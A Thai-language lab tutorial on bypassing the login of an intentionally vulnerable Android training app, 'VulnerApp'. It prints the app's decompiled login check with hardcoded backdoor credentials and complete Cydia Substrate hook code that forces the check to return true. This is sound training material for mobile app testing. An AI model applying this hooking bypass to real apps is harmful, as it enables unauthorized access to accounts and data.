บทนำ (Overview)
บทความนี้จะกล่าวถึงวิธีการ “Bypass” หน้า “login” โดยใช้วิธีการปรับเปลี่ยนค่า “return” ของ “function” ที่เกี่ยวข้องกับ “login” โดยจำเป็นต้องใช้วิธีการเรียกว่าการ “Hook Method/Functions” แต่การจะทำได้นั้นจำเป็นต้องมี “Framework” ช่วยซึ่งเราเรียกมันว่า “Cydia Substrate”
สรุปหลักการคร่าว ๆ คือ เราจะต้องการต้องหา “method” ที่ต้องการเปลี่ยนค่า “return” ซึ่งสามารถทราบได้จากการทำ “Reverse engineering” จากนั้นทำการเขียน “code” เพื่อเปลี่ยนค่าดังกล่าว เมื่อเสร็จสิ้น ใช้งาน code ที่เราเขียนมาเพื่อ “modify code” ตอน “run-time” และ “restart” สุดท้ายทดสอบโปรแกรมที่เป็นช่องโหว่
ขั้นตอน (Steps)
Emulator
- ติดตั้ง “Emulator” จากการทดสอบพบว่า “Droid4x” บน “Mac” และ Droidx4 version เก่า ๆ บน “Windows” สามารถติดตั้ง “Cydia Substrate” ใช้งานได้ (ติดตามวิธีติดตั้ง “Droid4x” ได้ที่บทความ How to install droid4x)
Cydia Substrate
- ติดตั้ง Cydia Substrate บน “Emulator” อย่างไรก็ตาม “Cydia Substrate” สามารถติดตั้งได้บน “Android 2.3 – 4.3” แต่ก็ไม่ทุก “Emulator” จะติดตั้งได้เช่นกัน
Android Studio
- ดาวน์โหลดและติดตั้ง Android Studio
Android Substrate SDK
- จากนั้นเราจะติดตั้ง Android Substrate SDK
- ไปที่เมนู “SDK Manager”
- ไปที่ “Tab” ชื่อ “SDK Update Sites” กด + แล้วใส่ URL เป็น http://asdk.cydiasubstrate.com/addon.xml เมื่อเสร็จสิ้นให้กดปุ่ม “Apply”
- กลับมาที่ “Tap” ชื่อ “SDK Tools” มองหา “Cydia Substrate API” จากนั้นกด “Apply” เมื่อปรากฏหน้าต่าง “Confirm Change” ให้กด “OK”
- รอดาวน์โหลดจนเสร็จสิ้น แล้วกดปุ่ม “Finish”
- เปลี่ยนมุมมอง “Project”
- จากนั้นไปที่โฟลเดอร์ “app/libs” แล้วให้ลากไฟล์ “substrate-api.jar” เข้ามา จะปรากฏหน้าต่าง “Move” จากนั้นกดปุ่ม “OK”
- ปรากฏหน้าต่าง “Non-Project Files Access” ให้กดปุ่ม “OK”
- จากนั้นคลิกขวาที่ไฟล์ “substrate-api.jar” แล้วเลือกที่ “Add As Library”
- จะปรากฏหน้าต่าง “Create Library” ให้กดปุ่ม “OK”
- ถ้าปรากฏดังรูปถือว่าเสร็จสิ้น
VulnerApp
- ดาวน์โหลดโปรแกรมช่องโหว่ “VulnerApp” จากนั้นติดตั้งบน “Emulator”
- ทดลองเปิดใช้งานโปรแกรม จะพบหน้า “Login” ให้ “Login” โดยใช้ “Account” ข้างล่าง จะสามารถผ่านไปหน้า “Home” ได้
Username = admin Password = Password
- ที่นี้ถ้าไม่ใส่ “Username” และ “Password” แล้ว “Submit” ก็จะไม่สามารถ “Login” ไปหน้า “Home”
- จากนั้นให้ “Convert Byte-code” ให้อ่านออกให้ได้ก่อนเพื่อตรวจสอบ “Source-code” ของหน้า “Login” (สามารถติดตามบทความสำหรับ Convert Bytecode ได้ที่)
- มี “Code” ที่น่าสนใจคือ “Class” ที่ชื่อ “LoginActivity” ซึ่งน่าจะเดาได้ว่าคือหน้า “Login” นั้นมี “Method” ที่ชื่อว่า “isLogin” มีการคืนค่า “True” หรือ “False”
public boolean isLogin(String paramString1, String paramString2) { //Backdoor admin and password String str1 = "admin"; String str2 = "password"; return (paramString1.contentEquals(str1)) && (paramString2.contentEquals(str2)); }
- ซึ่งคืนไปยังปุ่ม “Submit” ที่เกิดจากการ “Login” จากนั้นถ้าค่าคืนเป็น “True” จะสามารถข้ามไปยังหน้า “Home” ได้
protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_login); txtUser = (EditText)findViewById(R.id.txtLogin2); txtPass = (EditText)findViewById(R.id.txtLogin3); final Button btn1 = (Button) findViewById(R.id.cmdLogin); btn1.setOnClickListener(new View.OnClickListener() { public void onClick(View v) { if (isLogin(txtUser.getText().toString() , txtPass.getText().toString())) { Intent i = new Intent(LoginActivity.this, HomeActivity.class); startActivity(i); } } });
Exploit code
- ที่นี้จะเริ่มเขียน “Code” สำหรับปรับเปลี่ยนค่าส่งคืนกัน โดยสมมติถ้าเราไม่ทราบ “Username” และ “Password” เราก็ต้องเปลี่ยนค่าส่งคืนของ “Method” ที่ชื่อ “isLogin” จาก “False” เป็น “True” ถึงจะสามารถไปหน้า “Home” ได้
- โดยเริ่มแรกเราจะต้องเพิ่ม “Permission” ให้กับโปรแกรมเราสามารถใช้งาน “Cydia Substrate” ได้ก่อนโดยเพิ่มใน “AndroidManifest.xml” ดังนี้ (ดูรายละเอียดเพิ่มเติมได้ที่ http://www.cydiasubstrate.com/inject/dalvik/) โดยให้ Syntax อยู่ก่อน application
<uses-permission android:name="cydia.permission.SUBSTRATE" />
- และเพิ่มระหว่าง application
<application> <meta-data android:name="com.saurik.substrate.main" android:value=".BypassLoginSubstrate" /> </application>
- จะได้ดังตัวอย่าง
- จากนั้นเราจะมาใส่ “code” สำหรับ “Bypass” หน้า “Login” โดยให้อยู่ใน “Method” ชื่อ “initialize”
import android.support.v7.app.AppCompatActivity; import android.os.Bundle; import android.util.Log; import java.lang.reflect.Method; import com.saurik.substrate.*; static void initialize() { MS.hookClassLoad("com.example.wsunpachit.vulnerapp.LoginActivity", new MS.ClassLoadHook() { @SuppressWarnings({"unchecked", "rawtypes" }) public void classLoaded(Class<?> resources) { Method methodToHook; try{ methodToHook = resources.getMethod("isLogin", String.class, String.class); }catch(NoSuchMethodException e){ methodToHook = null; } if (methodToHook == null) { Log.v("cydia","No method found"); } else{ MS.hookMethod(resources, methodToHook, new MS.MethodAlteration<Object, Boolean>() { public Boolean invoked(Object _class, Object... args) throws Throwable { return true; } }); } } }); }
- จาก “code” ข้างต้นมีฟังก์ชันที่สำคัญดังนี้
//เป็น function สำหรับ Load class ที่มี Method ที่เราสนใจจะเปลี่ยนแปลงค่า return MS.hookClassLoad("com.example.wsunpachit.vulnerapp.LoginActivity", new MS.ClassLoadHook() { @SuppressWarnings({"unchecked", "rawtypes" }) public void classLoaded(Class<?> resources) { // ... code to modify the class when loaded } }); //เป็นฟังก์ชันสำหรับเปลี่ยนแปลงค่าของ Method ที่เราสนใจ public void classLoaded(Class<?> resources) { Method methodToHook; try{ methodToHook = resources.getMethod("isLogin", String.class, String.class); }catch(NoSuchMethodException e){ methodToHook = null; } if (methodToHook == null) { Log.v("cydia","No method found"); } else{ MS.hookMethod(resources, methodToHook, new MS.MethodAlteration<Object, Boolean>() { public Boolean invoked(Object _class, Object... args) throws Throwable { return true; } }); } }
- ในส่วนของการเรียกใช้ “Method” ที่ต้องการเปลี่ยนแปลงแก้ไขค่านั้น เราจะต้องระบุ “Method” ที่ต้องการแก้ไข และระบุ “Parameter” ที่จะต้องส่งเข้าไปด้วย (ถ้ามี) ซึ่งก็คือ “username” และ “password” ซึ่งทั้งคู่เป็นข้อมูลประเภท “String” เพราะฉะนั้นเราสามารถนิยาม “Class” ได้ดังนี้
methodToHook = resources.getMethod("isLogin", String.class, String.class);
- แล้วถ้าพบมี Method ดังกล่าวก็จะสามารถปรับเปลี่ยนค่าได้ตามต้องการดังนี้ จากตัวอย่างเราต้องการเปลี่ยนเป็น “True” เสมอทำให้ไม่จำเป็นต้องรู้ “username” และ “password”
MS.hookMethod(resources, methodToHook, new MS.MethodAlteration<Object, Boolean>() { public Boolean invoked(Object _class, Object... args) throws Throwable { return true; } });
- ที่นี้ลองใช้งาน “Exploit code” ที่เราเขียนกันมา โดยกดปุ่ม “Bypass Login”
- “Code” ในการ “Hook” ไปยัง “Function” ที่เราเขียนนั้นจะเกิดขึ้นเมื่อโหลดหน้านี้เสร็จแล้ว ที่นี้ให้เรา “Reboot” เครื่องหรือกดปุ่มตามภาพ
- จากนั้นให้ไปที่โปรแกรมช่องโหว่ของเรา แล้วลอง กดปุ่ม “submit” เพื่อ “login” โดยไม่ต้องใส่ “username” และ “password” อะไรเลย ผลคือสามารถข้ามไปหน้าหลัง “login” ได้